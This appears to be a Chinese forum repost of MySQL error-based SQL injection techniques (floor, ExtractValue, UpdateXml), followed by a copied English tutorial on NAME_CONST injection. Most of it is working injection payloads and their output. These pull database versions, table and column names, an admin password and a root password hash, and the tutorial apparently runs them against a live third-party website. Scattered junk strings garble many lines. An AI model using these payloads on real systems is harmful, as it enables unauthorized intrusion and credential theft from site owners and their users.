mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
# J* Q! Y- h" E! u9 O+—-+——-+———+
|  1 | test  | do it   |
$ D5 g) J; ?# @- u" T. E+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
: Z, e) k5 _! {8 G8 b例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
, R0 i3 ]! h( {  y/ ?测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

% v8 a6 B$ F! c! Y; l

再收集：

. g* U! x' t0 whttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

% Z. ~/ U# Z+ f* P* ]; s+ j- FErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
  V" J/ u! ?0 u4 l2 t
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
8 s$ E5 t3 G& p" u1 V
' q$ _  _; f- S# sMYSQL高版本报错注入技巧-利用NAME_CONST注入
+ |8 I4 a) O* e/ `It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
5 O* A) T; x4 H9 b2 q0 ~3 N

相关信息

) Y' Y% O0 n9 w- d; v$ tNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
4 t, s% ?7 d: l' W
* f, H5 d8 }3 ]Code:
3 v4 u8 z3 q8 v' B$ r5 ANAME_CONST(DATA, VALUE)
) b5 P' }# s7 a  ?6 L
% s; A+ U8 W3 T8 b' Y* [/ X: TReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
! h; |/ Z( ]& W/ ^
  u7 ^. R6 t, ~: T' OSELECT NAME_CONST('TEST', 1)



% a5 H' e& n0 R0 S5 {/ h|---------------|
|     TEST      |
|               |
# h/ s; E) @2 s8 Q3 N|---------------|
|       1       |
  C) ]- O8 f$ Q7 i|               |
|---------------|


( \5 ?; g. V) j3 K
, d$ M0 S2 \8 s8 T0 p2 H7 _6 l
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables

Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
" G) @- Z! X5 s: {- O
Code:
% ^5 d+ c3 @4 r" F4 O9 {* dhttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261
9 \4 C+ z+ L3 y1 x' s; C" B+ Z  Q' k



+ Y. I$ n8 k3 G
Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
3 ]+ m( W  z9 c& l- L' c5 A
* U) L: J# z+ {1 S- U
: i- \* `7 ^( P% V+ y& YVAR = Your MySQL variable.
0 E% r( [1 H. U; c
; C) B, M8 J! ?; s1 _MySQL 5.1.3 Server System Variables
! J  G, E& Q5 N* o' a% H
: [8 \$ O" W3 }8 s; GLet's try it out on my site..

Code:
$ M$ l! M0 e: P3 y  `http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
+ d! B8 `6 h' M  h4 @- x
2 y0 E3 j# q$ I% V7 aErroruplicate column name '5.0.27-community-nt'

0 C- R& J; o7 h/ p1 e- x9 J+ s9 Q



Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
: T3 d. X" d4 P1 x) d0 ^
; u* o" O3 H: }% e2 k5 O+ y0 l! UData Extraction
$ U( X4 Y+ r3 `/ _+ B6 W! ~( D2 z
/ v" {9 N8 v& V, J% \9 iCode:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
, _2 k- g+ Y( x) w
( [9 ^* ?) O* j7 A7 A* S% R
We should get a duplicate column 1 error...

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

+ A( w0 D: b# lErroruplicate column name '1
3 N7 v3 s( N# V" u1 H4 c
% [7 y/ _1 F1 j, t

: W) g6 F" H3 L3 \: ?


9 S8 S+ T6 x2 K& e  n3 sNow let's get the tables out this bitch..

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
7 O8 r# G3 n+ y5 Q) y
) L+ C; ?7 A0 x
Let's see if it works here, if it does, we can go on and finish the job.
/ K) t" n. P0 M( y0 `
Code:
! R+ k2 z! K5 T! e0 Xhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
& E1 v7 g8 S7 V  @+ e8 |
2 r! J1 C/ ?% F4 W- H
8 U; B/ r1 K; a9 l- [Erroruplicate column name 'com_admanage



( q& ~& L2 U' N, q+ y
# V6 p# i3 V2 y" Z- n( w( e# `5 Z" v
( j) [# ?+ `6 H! b% ?/ h# L
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
9 t2 W; X  e! m* P' C, w
$ J5 {. q+ c0 W5 SLet's get the columns out of the user table..

Code:
  D7 m& @3 h4 V6 F7 j; v& I9 w+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
! \5 f) B) q4 B' ^3 C& |8 L) P

So mine looks like this, and I get the duplicate column name 'Host'.
9 n5 _0 N& E; N" A
1 y8 ^& F3 N) G" W6 ]$ \; cCode:
9 b4 q5 |# |2 F% ?, w0 v  ?, Chttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

% p5 v3 u+ Z# e; oErroruplicate column name 'Host'
8 a2 n& {, k! D

4 O" P- G" X, E; L- g
& }9 `1 e' Z0 }# A

6 _0 |  q7 x3 T* @/ S( D* \. N
Woot, time to finish this bitch off.
2 _2 ~+ e; y* Q
Code:
8 W1 U: r+ v7 o+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

* h8 y7 |9 s* D/ N
So mine looks like this...

Code:
) [& B4 j4 D* u5 Khttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
/ J0 S. z3 a  ~0 K* G8 x+ P
$ h6 A8 t6 n$ a
7 w/ f4 f/ j4 z; N: o



And there we have it, thanks for reading.

0 H* W+ w) {1 i1 O9 a8 P2 c